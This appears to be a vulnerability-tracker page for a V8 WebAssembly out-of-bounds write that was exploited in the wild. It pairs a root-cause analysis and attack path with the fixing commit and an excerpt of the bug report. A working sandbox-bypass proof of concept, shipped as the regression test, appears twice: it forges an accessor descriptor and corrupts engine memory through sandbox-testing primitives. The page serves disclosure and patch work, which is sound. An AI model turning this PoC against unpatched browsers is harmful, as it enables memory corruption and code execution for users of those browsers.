Medium patch-now CVSS 8.8 chrome OOB CISA KEV ⚠️ Exploited in the wild Exploitability: High (assessed) 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
8.8
CVSS
Yes
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds write in V8
DescriptionOut of bounds write in V8
ComponentV8
Sub-componentWASM
Bug ClassOOB
ExploitabilityHigh (assessed by PatchGap · confirmed)
WasmGetOwnProperty (used in wasm catch lowering) delegated to GetPropertyWithReceiver and could invoke a JS getter during an operation the optimizer modeled as side-effect-free/allocation-free, breaking Turboshaft effect assumptions into OOB corruption. In-the-wild; the added sandbox regression test
PatchGap's own analysis from the fixing commit, not a vendor rating. Absence of this line means not yet assessed, not "not exploitable".
Action tierpatch-now — exploited in the wild / KEV (itw) — real-world evidence overrides analysis
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker543557673
Fix commit36079c36283a (v8/v8) +203/-53
CWECWE-787 (Out-of-bounds write)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVListed
CreditedJihyeon Jeong (Compsec Lab, Seoul National University / Research Intern)
Reported2026-08-06 · bounty $2,500 (per vendor advisory)
Fix landed2026-08-11 (public git)
Disclosed2026-09-08
Patch gap28 days — fix public in source before the advisory

Background

`WasmGetOwnProperty`
A V8 builtin the Wasm runtime uses to read a private-symbol property (such as the exception tag) off a caught object without walking into full generic property machinery.
Private symbol
An internal, non-enumerable Symbol (e.g. wasm_exception_tag_symbol) that V8 uses to stamp and later recognize runtime objects like Wasm exceptions.
`GetPropertyWithReceiver`
A generic, transitioning property-load builtin that traverses the prototype chain and can invoke user-defined accessors (getters), i.e. run arbitrary JavaScript.
`OpEffects` / `kNeedsContext`
Compiler metadata (in builtin-call-descriptors.h) that tells Turboshaft whether a builtin call can allocate, throw, or has side effects, and whether it must be passed a Context.

Root Cause Analysis

The old WasmGetOwnProperty in wasm.tq was implemented as a transitioning Torque builtin that, on finding the property, delegated to GetPropertyWithReceiver, which walks the prototype chain and may invoke JavaScript getters. The Wasm catch lowering in both liftoff-compiler.cc and turboshaft-graph-interface.cc calls this builtin to fetch a caught exception’s tag symbol, and the optimizing compiler treats that call as effectively side-effect-free (it is only supposed to peek at a private symbol). The violated invariant is that this “get own property” operation must run no user code: an attacker-controlled object reaching the lookup could trigger a getter, running arbitrary JS during what the compiler modeled as an allocation-free, side-effect-free tag check, breaking the effect assumptions Turboshaft relies on and enabling out-of-bounds memory corruption.

The fix reimplements WasmGetOwnProperty as a CodeStubAssembler builtin (builtins-wasm-gen.cc) that performs a real own-property lookup via TryLookupPropertyInSimpleObject, explicitly rejects non-kData properties and lazy closures, and returns undefined instead of ever invoking an accessor. Because it no longer runs JS or needs a Context, the descriptor’s kNeedsContext is set to false and both call sites drop the native-context argument, restoring the guarantee that the builtin is genuinely side-effect-free.

Key insight
The single core mistake was implementing a builtin the compiler assumes has no side effects on top of GetPropertyWithReceiver, which can invoke JavaScript getters; the fix replaces it with a pure own-data-property lookup that returns undefined for accessors, so the “no side effects” contract actually holds.

Attack Path

  1. Reach the tag check Attacker Wasm code throws and catches an exception so the runtime invokes WasmGetOwnProperty to read the exception tag symbol.
  2. Substitute an accessor The object presented to the lookup carries the queried symbol as an accessor (or an object whose property path hits a getter) rather than a plain data property.
  3. Run JS mid-builtin The old GetPropertyWithReceiver path invokes that getter, executing attacker JavaScript during a call the optimizer modeled as pure and non-allocating.
  4. Break compiler assumptions The unexpected side effects (allocation, heap mutation, re-entrancy) violate Turboshaft’s effect model, invalidating optimizations around the call.
  5. Out-of-bounds write The mismatched assumptions lead to memory being written outside its intended bounds in the Wasm/V8 pipeline.

Impact Assessment

An attacker who can run Wasm (any web page driving the V8/Wasm engine in the renderer process) gains an out-of-bounds write inside the sandboxed renderer, a strong primitive toward memory corruption and potential code execution. Preconditions are modest: the ability to execute crafted WebAssembly that exercises exception catch handling and to control the object whose private symbol is queried. Severity is rated medium in the metadata, consistent with a renderer-context OOB write reachable from script.

Changed Functions

FunctionChangeNotes
TF_BUILTIN
src/builtins/builtins-wasm-gen.cc
modified
for
test/mjsunit/sandbox/regress/regress-543557673.js
modified
get
test/mjsunit/sandbox/regress/regress-543557673.js
modified

Files Changed

  • test/mjsunit/sandbox/regress/regress-543557673.js
  • src/compiler/turboshaft/builtin-call-descriptors.h
  • src/builtins/builtins-definitions.h
  • src/wasm/turboshaft-graph-interface.cc
  • src/builtins/builtins-wasm-gen.cc
  • src/wasm/baseline/liftoff-compiler.cc
  • src/builtins/wasm.tq

Audit Directions

  • Side-effect-free builtins that reuse generic property loads
    Audit any builtin the compiler models as pure or non-allocating (kNoThrow, no CanAllocate) that internally calls GetPropertyWithReceiver, GetProperty, or other prototype-walking loads capable of invoking getters.
  • Own-property intent vs. prototype-chain reality
    Flag code that means “check an own private symbol” but is implemented with helpers that traverse the prototype chain or run accessors; require explicit kData/own-property checks like TryLookupPropertyInSimpleObject.
  • Effect-metadata drift
    Review builtin-call-descriptors.h entries where kEffects or kNeedsContext understate a builtin’s real behavior, and verify each Liftoff/Turboshaft call site’s argument list matches the builtin’s actual effect and context requirements.
From 36079c36283aaf3d0cee0797e46ddc278988f7f2 Mon Sep 17 00:00:00 2001
From: Jakob Kummerow <[email protected]>
Date: Tue, 11 Aug 2026 20:27:41 +0200
Subject: [PATCH] [wasm][sandbox] Fix side effects of WasmGetOwnProperty builtin

We want this builtin to have no side effects, so it should not
invoke any getters.

Fixed: 543557673
Change-Id: Ifa3c166e54f2084524c562ba2f57d55e0a51bff6
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8234942
Auto-Submit: Jakob Kummerow <[email protected]>
Commit-Queue: Jakob Kummerow <[email protected]>
Reviewed-by: Thibaud Michaud <[email protected]>
Cr-Commit-Position: refs/heads/main@{#109190}
---
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 4197662..cd7a18b 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -1497,6 +1497,7 @@
   IF_WASM(TFC, WasmFloat64ToNumber, WasmFloat64ToTagged)                       \
   IF_WASM(TFC, WasmFloat64ToString, WasmFloat64ToTagged)                       \
   IF_WASM(TFC, JSToWasmLazyDeoptContinuation, SingleParameterOnStack)          \
+  IF_WASM(TFS, WasmGetOwnProperty, NeedsContext{false}, kObject, kSymbol)      \
                                                                                \
   /* WeakMap */                                                                \
   TFJ(WeakMapConstructor, kDontAdaptArgumentsSentinel)                         \
diff --git a/src/builtins/builtins-wasm-gen.cc b/src/builtins/builtins-wasm-gen.cc
index 92ffd89..3ba93d9 100644
--- a/src/builtins/builtins-wasm-gen.cc
+++ b/src/builtins/builtins-wasm-gen.cc
@@ -266,6 +266,71 @@
   return IsPageFlagSet(address, MemoryChunk::kInSharedHeap);
 }
 
+// Wasm uses private symbols (e.g. wasm_exception_tag_symbol) to stamp certain
+// objects. This builtin checks for presence of such symbols; it is a
+// specialization of "GetOwnProperty" behavior: if the object is not a plain
+// JS object or the property is not an own data property, return undefined.
+// To allow compilers to assume no side effects from this builtin, it's
+// particularly important to not invoke any getters.
+TF_BUILTIN(WasmGetOwnProperty, WasmBuiltinsAssembler) {
+  TNode<Object> object = Parameter<Object>(Descriptor::kObject);
+  TNode<Symbol> symbol = Parameter<Symbol>(Descriptor::kSymbol);
+
+  Label return_undefined(this, Label::kDeferred);
+
+  GotoIf(TaggedIsSmi(object), &return_undefined);
+  TNode<HeapObject> heap_object = CAST(object);
+
+  TNode<Map> map = LoadMap(heap_object);
+  TNode<Int32T> instance_type = LoadMapInstanceType(map);
+
+  GotoIfNot(IsJSReceiverInstanceType(instance_type), &return_undefined);
+  GotoIf(IsSpecialReceiverInstanceType(instance_type), &return_undefined);
+
+  TNode<JSObject> js_object = CAST(heap_object);
+
+  {
+    TVARIABLE(HeapObject, var_meta_storage);
+    TVARIABLE(IntPtrT, var_entry);
+    TVARIABLE(Object, var_value);
+    TVARIABLE(Uint32T, var_details);
+    Label if_found_fast(this), if_found_dict(this), got_value(this);
+
+    TryLookupPropertyInSimpleObject(
+        js_object, map, symbol, &if_found_fast, &if_found_dict,
+        &var_meta_storage, &var_entry, &return_undefined, &return_undefined);
+
+    BIND(&if_found_fast);
+    {
+      TNode<DescriptorArray> descriptors = CAST(var_meta_storage.value());
+      LoadPropertyFromFastObject(js_object, map, descriptors, var_entry.value(),
+                                 &var_details, &var_value);
+      Goto(&got_value);
+    }
+
+    BIND(&if_found_dict);
+    {
+      TNode<PropertyDictionary> dictionary = CAST(var_meta_storage.value());
+      LoadPropertyFromDictionary(dictionary, var_entry.value(), &var_details,
+                                 &var_value);
+      Goto(&got_value);
+    }
+
+    BIND(&got_value);
+    {
+      TNode<Uint32T> kind =
+          DecodeWord32<PropertyDetails::KindField>(var_details.value());
+      constexpr int kData = static_cast<int>(PropertyKind::kData);
+      GotoIfNot(Word32Equal(kind, Int32Constant(kData)), &return_undefined);
+      GotoIfLazyClosure(CAST(var_value.value()), &return_undefined);
+      Return(var_value.value());
+    }
+  }
+
+  BIND(&return_undefined);
+  Return(UndefinedConstant());
+}
+
 #include "src/codegen/undef-code-stub-assembler-macros.inc"
 
 }  // namespace v8::internal
diff --git a/src/builtins/wasm.tq b/src/builtins/wasm.tq
index 8c07ddd..09581b6 100644
--- a/src/builtins/wasm.tq
+++ b/src/builtins/wasm.tq
@@ -832,35 +832,6 @@
   return TargetAndImplicitArg{target: target, implicit_arg: implicitArg};
 }
 
-extern macro TryHasOwnProperty(HeapObject, Map, InstanceType, Name): never
-    labels Found, NotFound, Bailout;
-type OnNonExistent constexpr 'OnNonExistent';
-const kReturnUndefined: constexpr OnNonExistent
-    generates 'OnNonExistent::kReturnUndefined';
-extern macro SmiConstant(constexpr OnNonExistent): Smi;
-extern transitioning builtin GetPropertyWithReceiver(
-    implicit context: Context)(JSAny, Name, JSAny, Smi): JSAny;
-
-transitioning builtin WasmGetOwnProperty(
-    implicit context: Context)(object: Object, uniqueName: Name): JSAny {
-  try {
-    const heapObject: HeapObject =
-        TaggedToHeapObject(object) otherwise NotFound;
-    const receiver: JSReceiver =
-        Cast<JSReceiver>(heapObject) otherwise NotFound;
-    try {
-      TryHasOwnProperty(
-          receiver, receiver.map, receiver.instanceType, uniqueName)
-          otherwise Found, NotFound, NotFound;
-    } label Found {
-      return GetPropertyWithReceiver(
-          receiver, uniqueName, receiver, SmiConstant(kReturnUndefined));
-    }
-  } label NotFound deferred {
-    return Undefined;
-  }
-}
-
 // Trap builtins.
 
 builtin WasmTrap(error: Smi): JSAny {
diff --git a/src/compiler/turboshaft/builtin-call-descriptors.h b/src/compiler/turboshaft/builtin-call-descriptors.h
index e07a6f0e..c73e1d6 100644
--- a/src/compiler/turboshaft/builtin-call-descriptors.h
+++ b/src/compiler/turboshaft/builtin-call-descriptors.h
@@ -1123,14 +1123,10 @@
     using results_t = std::tuple<V<Object>>;
 
     static constexpr bool kNeedsFrameState = false;
-    static constexpr bool kNeedsContext = true;
+    static constexpr bool kNeedsContext = false;
     static constexpr Operator::Properties kProperties = Operator::kNoThrow;
-    // Calls {GetPropertyWithReceiver}, which has paths that can allocate,
-    // but from this caller we won't reach them. Nevertheless, to please the
-    // verifier we currently have no other choice than setting the CanAllocate
-    // effect here.
-    // TODO(dmercadier): Support overriding the automatic can-allocate
-    // inference.
+    // Can allocate a HeapNumber when it encounters a MutableHeapNumber. This
+    // won't happen in practice, but can-allocate verification detects it.
     static constexpr OpEffects kEffects =
         base_effects.CanReadHeapMemory().CanAllocate();
   };
diff --git a/src/wasm/baseline/liftoff-compiler.cc b/src/wasm/baseline/liftoff-compiler.cc
index db1d96e..adfe3bf 100644
--- a/src/wasm/baseline/liftoff-compiler.cc
+++ b/src/wasm/baseline/liftoff-compiler.cc
@@ -1868,16 +1868,12 @@
     LiftoffRegister tag_symbol_reg =
         pinned.set(__ GetUnusedRegister(kGpReg, pinned));
     LoadExceptionSymbol(tag_symbol_reg.gp(), pinned, root_index);
-    LiftoffRegister context_reg =
-        pinned.set(__ GetUnusedRegister(kGpReg, pinned));
-    LOAD_TAGGED_PTR_INSTANCE_FIELD(context_reg.gp(), NativeContext, pinned);
 
     VarState tag_symbol{kRef, tag_symbol_reg, 0};
-    VarState context{kRef, context_reg, 0};
 
     CallBuiltin(Builtin::kWasmGetOwnProperty,
-                MakeSig::Returns(kRef).Params(kRef, kRef, kRef),
-                {exception, tag_symbol, context}, kNoSourcePosition);
+                MakeSig::Returns(kRef).Params(kRef, kRef),
+                {exception, tag_symbol}, kNoSourcePosition);
 
     return LiftoffRegister(kReturnRegister0);
   }
diff --git a/src/wasm/turboshaft-graph-interface.cc b/src/wasm/turboshaft-graph-interface.cc
index 84d581c..5dc6fe2 100644
--- a/src/wasm/turboshaft-graph-interface.cc
+++ b/src/wasm/turboshaft-graph-interface.cc
@@ -3851,12 +3851,10 @@
 
     BindBlockAndGeneratePhis(decoder, block->false_or_loop_or_catch_block,
                              nullptr, &block->exception);
-    V<NativeContext> native_context = instance_cache_.native_context();
     V<WasmExceptionTag> caught_tag = V<WasmExceptionTag>::Cast(
         CallBuiltinThroughJumptable<BuiltinCallDescriptor::WasmGetOwnProperty>(
-            decoder, native_context,
-            {block->exception,
-             __ LoadRoot<RootIndex::kwasm_exception_tag_symbol>()}));
+            decoder, {block->exception,
+                      __ LoadRoot<RootIndex::kwasm_exception_tag_symbol>()}));
     // TODO(14616): Support shared tags.
     V<TrustedFixedArray> instance_tags =
         LOAD_IMMUTABLE_PROTECTED_INSTANCE_FIELD(
@@ -3887,7 +3885,7 @@
 
       IF (UNLIKELY(caught_tag_undefined)) {
         V<Object> tag_object = __ Load(
-            native_context, LoadOp::Kind::TaggedBase(),
+            instance_cache_.native_context(), LoadOp::Kind::TaggedBase(),
             MemoryRepresentation::TaggedPointer(),
             NativeContext::OffsetOfElementAt(Context::WASM_JS_TAG_INDEX));
         V<Object> js_tag = __ Load(tag_object, LoadOp::Kind::TaggedBase(),
@@ -3987,12 +3985,10 @@
       BrOrRet(decoder, catch_case.br_imm.depth);
       return;
     }
-    V<NativeContext> native_context = instance_cache_.native_context();
     V<WasmExceptionTag> caught_tag = V<WasmExceptionTag>::Cast(
         CallBuiltinThroughJumptable<BuiltinCallDescriptor::WasmGetOwnProperty>(
-            decoder, native_context,
-            {block->exception,
-             __ LoadRoot<RootIndex::kwasm_exception_tag_symbol>()}));
+            decoder, {block->exception,
+                      __ LoadRoot<RootIndex::kwasm_exception_tag_symbol>()}));
     // TODO(14616): Support shared tags.
     V<TrustedFixedArray> instance_tags =
         LOAD_IMMUTABLE_PROTECTED_INSTANCE_FIELD(
@@ -4024,7 +4020,7 @@
 
       IF (UNLIKELY(caught_tag_undefined)) {
         V<Object> tag_object = __ Load(
-            native_context, LoadOp::Kind::TaggedBase(),
+            instance_cache_.native_context(), LoadOp::Kind::TaggedBase(),
             MemoryRepresentation::TaggedPointer(),
             NativeContext::OffsetOfElementAt(Context::WASM_JS_TAG_INDEX));
         V<Object> js_tag = __ Load(tag_object, LoadOp::Kind::TaggedBase(),
@@ -8909,7 +8905,7 @@
                            base::Vector<Value> values) {
     V<FixedArray> exception_values_array = V<FixedArray>::Cast(
         CallBuiltinThroughJumptable<BuiltinCallDescriptor::WasmGetOwnProperty>(
-            decoder, instance_cache_.native_context(),
+            decoder,
             {exception,
              __ LoadRoot<RootIndex::kwasm_exception_values_symbol>()}));
 
diff --git a/test/mjsunit/sandbox/regress/regress-543557673.js b/test/mjsunit/sandbox/regress/regress-543557673.js
new file mode 100644
index 0000000..ddf0591
--- /dev/null
+++ b/test/mjsunit/sandbox/regress/regress-543557673.js
@@ -0,0 +1,125 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --sandbox-testing --allow-natives-syntax
+
+const moduleABytes = new Uint8Array([
+    0,   97,  115, 109, 1,   0,   0,   0,   1,   22,  5,   96,  0,   1,   127,
+    96,  1,   111, 0,   96,  0,   1,   111, 96,  1,   127, 1,   127, 96,  0,
+    1,   127, 2,   27,  2,   1,   109, 9,   102, 117, 110, 99,  116, 105, 111,
+    110, 115, 1,   112, 1,   1,   1,   1,   109, 3,   116, 97,  103, 4,   0,
+    1,   3,   3,   2,   3,   4,   4,   5,   1,   105, 1,   1,   1,   6,   32,
+    6,   127, 1,   65,  239, 0,   11,  127, 1,   65,  0,   11,  127, 1,   65,
+    0,   11,  127, 1,   65,  0,   11,  127, 1,   65,  0,   11,  127, 1,   65,
+    0,   11,  7,   30,  3,   10,  101, 120, 99,  101, 112, 116, 105, 111, 110,
+    115, 1,   1,   6,   100, 114, 105, 118, 101, 114, 0,   0,   4,   115, 101,
+    101, 100, 0,   1,   10,  48,  2,   41,  0,   65,  0,   17,  0,   0,   26,
+    32,  0,   4,   64,  2,   2,   31,  2,   1,   0,   0,   0,   65,  0,   37,
+    1,   10,  11,  11,  26,  65,  0,   36,  5,   65,  0,   17,  0,   0,   15,
+    11,  65,  0,   11,  4,   0,   65,  7,   11,  0,   22,  4,   110, 97,  109,
+    101, 1,   15,  2,   0,   6,   100, 114, 105, 118, 101, 114, 1,   4,   115,
+    101, 101, 100,
+]);
+const moduleDBytes = new Uint8Array([
+    0,  97, 115, 109, 1,  0,   0,   0,   1,   13,  3,  96,  0,   1,   127,
+    96, 0,  1,   127, 96, 0,   1,   127, 3,   4,   3,  0,   1,   2,   7,
+    10, 1,  6,   116, 97, 114, 103, 101, 116, 0,   2,  10,  17,  3,   4,
+    0,  65, 0,   11,  4,  0,   65,  1,   11,  5,   0,  65,  222, 1,   11,
+    0,  28, 4,   110, 97, 109, 101, 1,   21,  3,   0,  4,   112, 97,  100,
+    48, 1,  4,   112, 97, 100, 49,  2,   6,   116, 97, 114, 103, 101, 116
+]);
+
+const kHeapObjectTag = 1;
+const memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
+const read32 = address => memory.getUint32(address, true);
+const write32 = (address, val) => memory.setUint32(address, val >>> 0, true);
+const tagged = object => (Sandbox.getAddressOf(object) + kHeapObjectTag) >>> 0;
+
+function instanceTypeAt(address) {
+  try {
+    return Sandbox.getInstanceTypeOfObjectAt(address);
+  } catch (_) {
+    return undefined;
+  }
+}
+
+function descriptorArrayOf(object) {
+  const map = read32(Sandbox.getAddressOf(object)) & ~kHeapObjectTag;
+  const size = Sandbox.getSizeOfObjectAt(map);
+  for (let offset = 0; offset < size; offset += 4) {
+    const candidate = read32(map + offset) & ~kHeapObjectTag;
+    if (instanceTypeAt(candidate) === 'DESCRIPTOR_ARRAY_TYPE') return candidate;
+  }
+  throw new Error('descriptor array not found');
+}
+
+function findTaggedWord(objectAddress, expectedType, expectedValue) {
+  const size = Sandbox.getSizeOfObjectAt(objectAddress);
+  for (let offset = 0; offset < size; offset += 4) {
+    const value = read32(objectAddress + offset);
+    if (expectedValue !== undefined && value !== expectedValue) continue;
+    if (instanceTypeAt(value & ~kHeapObjectTag) === expectedType) {
+      return {offset, value};
+    }
+  }
+  throw new Error(`tagged ${expectedType} word not found`);
+}
+
+const table =
+    new WebAssembly.Table({element: 'anyfunc', initial: 1, maximum: 1});
+const d = new WebAssembly.Instance(new WebAssembly.Module(moduleDBytes));
+const a = new WebAssembly.Instance(new WebAssembly.Module(moduleABytes), {
+  m: {functions: table, tag: WebAssembly.JSTag},
+});
+if (d.exports.target() !== 222) throw new Error('D target sanity failed');
+
+// Recover the private exception-tag symbol from a genuine exception.
+const genuine =
+    new WebAssembly.Exception(new WebAssembly.Tag({parameters: []}), []);
+const genuineDescriptors = descriptorArrayOf(genuine);
+const hiddenTagSymbol = findTaggedWord(genuineDescriptors, 'SYMBOL_TYPE').value;
+
+let getterCount = 0;
+const forged = Object.defineProperty({}, 'x', {
+  get() {
+    ++getterCount;
+    table.set(0, d.exports.target);
+    return undefined;
+  },
+  configurable: true,
+});
+
+// Replace only the one-property donor descriptor's key. Its accessor details
+// and AccessorPair remain unchanged.
+const forgedDescriptors = descriptorArrayOf(forged);
+const xName = Object.getOwnPropertyNames(forged)[0];
+const descriptorKey = findTaggedWord(
+    forgedDescriptors,
+    Sandbox.getInstanceTypeOfObjectAt(Sandbox.getAddressOf(xName)),
+    tagged(xName));
+write32(forgedDescriptors + descriptorKey.offset, hiddenTagSymbol);
+
+// Put the ordinary JSReceiver into the backing FixedArray of the exported
+// Wasm-declared exnref table.
+const tableType = Sandbox.getInstanceTypeIdFor('WASM_TABLE_OBJECT_TYPE');
+const entriesOffset = Sandbox.getFieldOffset(tableType, 'entries');
+const fixedArrayType = Sandbox.getInstanceTypeIdFor('FIXED_ARRAY_TYPE');
+const fixedArrayDataOffset = Sandbox.getFieldOffset(fixedArrayType, 'data');
+const exnTableAddress = Sandbox.getAddressOf(a.exports.exceptions);
+const entries = read32(exnTableAddress + entriesOffset) & ~kHeapObjectTag;
+write32(entries + fixedArrayDataOffset, tagged(forged));
+
+// Only the first call_indirect site receives feedback and is inlined. The
+// second site remains uninitialized and therefore generic.
+table.set(0, a.exports.seed);
+for (let i = 0; i < 20; ++i) {
+  if (a.exports.driver(0) !== 0) throw new Error('training failed');
+}
+%WasmTierUpFunction(a.exports.driver);
+if (a.exports.driver(0) !== 0) throw new Error('optimized training failed');
+
+const result = a.exports.driver(1);
+const tableChanged = table.get(0) === d.exports.target;
+assertEquals(getterCount, 0);
+assertFalse(tableChanged);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/sandbox/regress/regress-543557673.js b/test/mjsunit/sandbox/regress/regress-543557673.js
new file mode 100644
index 0000000..ddf0591
--- /dev/null
+++ b/test/mjsunit/sandbox/regress/regress-543557673.js
@@ -0,0 +1,125 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --sandbox-testing --allow-natives-syntax
+
+const moduleABytes = new Uint8Array([
+    0,   97,  115, 109, 1,   0,   0,   0,   1,   22,  5,   96,  0,   1,   127,
+    96,  1,   111, 0,   96,  0,   1,   111, 96,  1,   127, 1,   127, 96,  0,
+    1,   127, 2,   27,  2,   1,   109, 9,   102, 117, 110, 99,  116, 105, 111,
+    110, 115, 1,   112, 1,   1,   1,   1,   109, 3,   116, 97,  103, 4,   0,
+    1,   3,   3,   2,   3,   4,   4,   5,   1,   105, 1,   1,   1,   6,   32,
+    6,   127, 1,   65,  239, 0,   11,  127, 1,   65,  0,   11,  127, 1,   65,
+    0,   11,  127, 1,   65,  0,   11,  127, 1,   65,  0,   11,  127, 1,   65,
+    0,   11,  7,   30,  3,   10,  101, 120, 99,  101, 112, 116, 105, 111, 110,
+    115, 1,   1,   6,   100, 114, 105, 118, 101, 114, 0,   0,   4,   115, 101,
+    101, 100, 0,   1,   10,  48,  2,   41,  0,   65,  0,   17,  0,   0,   26,
+    32,  0,   4,   64,  2,   2,   31,  2,   1,   0,   0,   0,   65,  0,   37,
+    1,   10,  11,  11,  26,  65,  0,   36,  5,   65,  0,   17,  0,   0,   15,
+    11,  65,  0,   11,  4,   0,   65,  7,   11,  0,   22,  4,   110, 97,  109,
+    101, 1,   15,  2,   0,   6,   100, 114, 105, 118, 101, 114, 1,   4,   115,
+    101, 101, 100,
+]);
+const moduleDBytes = new Uint8Array([
+    0,  97, 115, 109, 1,  0,   0,   0,   1,   13,  3,  96,  0,   1,   127,
+    96, 0,  1,   127, 96, 0,   1,   127, 3,   4,   3,  0,   1,   2,   7,
+    10, 1,  6,   116, 97, 114, 103, 101, 116, 0,   2,  10,  17,  3,   4,
+    0,  65, 0,   11,  4,  0,   65,  1,   11,  5,   0,  65,  222, 1,   11,
+    0,  28, 4,   110, 97, 109, 101, 1,   21,  3,   0,  4,   112, 97,  100,
+    48, 1,  4,   112, 97, 100, 49,  2,   6,   116, 97, 114, 103, 101, 116
+]);
+
+const kHeapObjectTag = 1;
+const memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
+const read32 = address => memory.getUint32(address, true);
+const write32 = (address, val) => memory.setUint32(address, val >>> 0, true);
+const tagged = object => (Sandbox.getAddressOf(object) + kHeapObjectTag) >>> 0;
+
+function instanceTypeAt(address) {
+  try {
+    return Sandbox.getInstanceTypeOfObjectAt(address);
+  } catch (_) {
+    return undefined;
+  }
+}
+
+function descriptorArrayOf(object) {
+  const map = read32(Sandbox.getAddressOf(object)) & ~kHeapObjectTag;
+  const size = Sandbox.getSizeOfObjectAt(map);
+  for (let offset = 0; offset < size; offset += 4) {
+    const candidate = read32(map + offset) & ~kHeapObjectTag;
+    if (instanceTypeAt(candidate) === 'DESCRIPTOR_ARRAY_TYPE') return candidate;
+  }
+  throw new Error('descriptor array not found');
+}
+
+function findTaggedWord(objectAddress, expectedType, expectedValue) {
+  const size = Sandbox.getSizeOfObjectAt(objectAddress);
+  for (let offset = 0; offset < size; offset += 4) {
+    const value = read32(objectAddress + offset);
+    if (expectedValue !== undefined && value !== expectedValue) continue;
+    if (instanceTypeAt(value & ~kHeapObjectTag) === expectedType) {
+      return {offset, value};
+    }
+  }
+  throw new Error(`tagged ${expectedType} word not found`);
+}
+
+const table =
+    new WebAssembly.Table({element: 'anyfunc', initial: 1, maximum: 1});
+const d = new WebAssembly.Instance(new WebAssembly.Module(moduleDBytes));
+const a = new WebAssembly.Instance(new WebAssembly.Module(moduleABytes), {
+  m: {functions: table, tag: WebAssembly.JSTag},
+});
+if (d.exports.target() !== 222) throw new Error('D target sanity failed');
+
+// Recover the private exception-tag symbol from a genuine exception.
+const genuine =
+    new WebAssembly.Exception(new WebAssembly.Tag({parameters: []}), []);
+const genuineDescriptors = descriptorArrayOf(genuine);
+const hiddenTagSymbol = findTaggedWord(genuineDescriptors, 'SYMBOL_TYPE').value;
+
+let getterCount = 0;
+const forged = Object.defineProperty({}, 'x', {
+  get() {
+    ++getterCount;
+    table.set(0, d.exports.target);
+    return undefined;
+  },
+  configurable: true,
+});
+
+// Replace only the one-property donor descriptor's key. Its accessor details
+// and AccessorPair remain unchanged.
+const forgedDescriptors = descriptorArrayOf(forged);
+const xName = Object.getOwnPropertyNames(forged)[0];
+const descriptorKey = findTaggedWord(
+    forgedDescriptors,
+    Sandbox.getInstanceTypeOfObjectAt(Sandbox.getAddressOf(xName)),
+    tagged(xName));
+write32(forgedDescriptors + descriptorKey.offset, hiddenTagSymbol);
+
+// Put the ordinary JSReceiver into the backing FixedArray of the exported
+// Wasm-declared exnref table.
+const tableType = Sandbox.getInstanceTypeIdFor('WASM_TABLE_OBJECT_TYPE');
+const entriesOffset = Sandbox.getFieldOffset(tableType, 'entries');
+const fixedArrayType = Sandbox.getInstanceTypeIdFor('FIXED_ARRAY_TYPE');
+const fixedArrayDataOffset = Sandbox.getFieldOffset(fixedArrayType, 'data');
+const exnTableAddress = Sandbox.getAddressOf(a.exports.exceptions);
+const entries = read32(exnTableAddress + entriesOffset) & ~kHeapObjectTag;
+write32(entries + fixedArrayDataOffset, tagged(forged));
+
+// Only the first call_indirect site receives feedback and is inlined. The
+// second site remains uninitialized and therefore generic.
+table.set(0, a.exports.seed);
+for (let i = 0; i < 20; ++i) {
+  if (a.exports.driver(0) !== 0) throw new Error('training failed');
+}
+%WasmTierUpFunction(a.exports.driver);
+if (a.exports.driver(0) !== 0) throw new Error('optimized training failed');
+
+const result = a.exports.driver(1);
+const tableChanged = table.get(0) === d.exports.target;
+assertEquals(getterCount, 0);
+assertFalse(tableChanged);
Loading diff…

Original Bug Report

reported by [email protected]

V8 Sandbox Bypass: WasmGetOwnProperty's no-write/no-throw effects allow a forged accessor to create mixed call_indirect dispatch and a native tiering-budget OOB write


Report description

V8 Sandbox Bypass: WasmGetOwnProperty’s no-write/no-throw effects allow a forged accessor to create mixed call_indirect dispatch and a native tiering-budget OOB write


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules

Which URL (or repository) have you found the vulnerability in?

https://source.chromium.org/chromium/chromium/src


The problem

Please describe the technical details of the vulnerability

BuiltinCallDescriptor::WasmGetOwnProperty is modeled as non-throwing and as reading and allocating, but not writing memory:

// v8/src/compiler/turboshaft/builtin-call-descriptors.h:1120-1135
static constexpr Operator::Properties kProperties = Operator::kNoThrow;
static constexpr OpEffects kEffects =
    base_effects.CanReadHeapMemory().CanAllocate();

This contract is weaker than the implementation. The Torque builtin calls GetPropertyWithReceiver() when it finds the requested own property, and an accessor descriptor causes that operation to invoke arbitrary JavaScript. The callback can write memory, allocate, change control flow, and throw, so the call must be modeled as CanCallAnything() and must not use Operator::kNoThrow.

All inputs used to interpret the hidden exception property are inside the V8 sandbox. A sandbox attacker can copy the genuine wasm_exception_tag_symbol into an accessor descriptor and reach WasmGetOwnProperty through an exnref table, throw_ref, and a WebAssembly.JSTag catch. The accessor can therefore mutate an imported function table during this nominally read-only call.

The optimized driver function belongs to the driver instance, and the imported function table initially contains seed, another function exported by the driver instance. The getter replaces seed with target, a function exported by a separate replacement instance. Because the descriptor has no write effect, Late Load Elimination does not invalidate the WasmDispatchTable tuple loaded before the callback. The later call_indirect can consequently combine the replacement instance’s reloaded target with the protected_implicit_arg previously loaded for the driver instance, executing target with the driver instance’s WasmTrustedInstanceData.

PoC

